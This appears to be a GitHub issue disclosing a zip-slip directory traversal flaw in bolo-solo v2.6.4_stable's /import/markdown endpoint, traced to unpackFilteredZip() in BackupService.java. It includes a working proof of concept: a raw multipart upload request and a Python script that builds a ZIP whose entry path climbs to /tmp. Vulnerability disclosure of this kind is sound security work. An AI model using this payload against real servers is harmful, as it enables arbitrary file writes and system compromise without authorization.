Skip to content

[Vulnerability]The latest version has a vulnerability where any file can be written during the process of extracting a ZIP file. #326

Description

@MaoQiuJun

In the bolo-solo v2.6.4_stable version, the /import/markdown interface has a ZIP decompression directory traversal vulnerability. The reason is that the path of ZIP entries was not securely verified, allowing attackers to achieve arbitrary file writing by constructing malicious ZIP files.

Vulnerability file: src/main/java/org/b3log/solo/bolo/prop/BackupService.java

There is a method named "unpackFilteredZip()" which is used to unzip and read the uploaded ZIP file.

image-20260120102119543

Continuing with the unpackFilteredZip() method, this method only checks for __MACOSX or hidden files and does not conduct any further security checks on the files within the compressed package. Therefore, by passing in a malicious zip file (containing ../), the purpose of directory traversal can be achieved.

image-20260120102502906

After the logic process is completed, files uploaded through directory traversal can be seen on the server.

image-20260120102638676

POC:

POST /import/markdown HTTP/1.1
Host: localhost:8080
Content-Length: 390
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not_A Brand";v="99", "Chromium";v="142"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBEOKl8J4fcvx2RKj
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/admin-index.do
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryBEOKl8J4fcvx2RKj
Content-Disposition: form-data; name="file"; filename="malicious.zip"
Content-Type: application/x-zip-compressed


import zipfile
import os

malicious_content = b"pwned by directory traversal!"
malicious_filename = "/test/../../../tmp/pwned.txt"

zip_path = "malicious.zip"
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr(malicious_filename, malicious_content)

print(f"[+] Malicious ZIP created: {os.path.abspath(zip_path)}")
print(f"    Payload entry: {malicious_filename}")

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions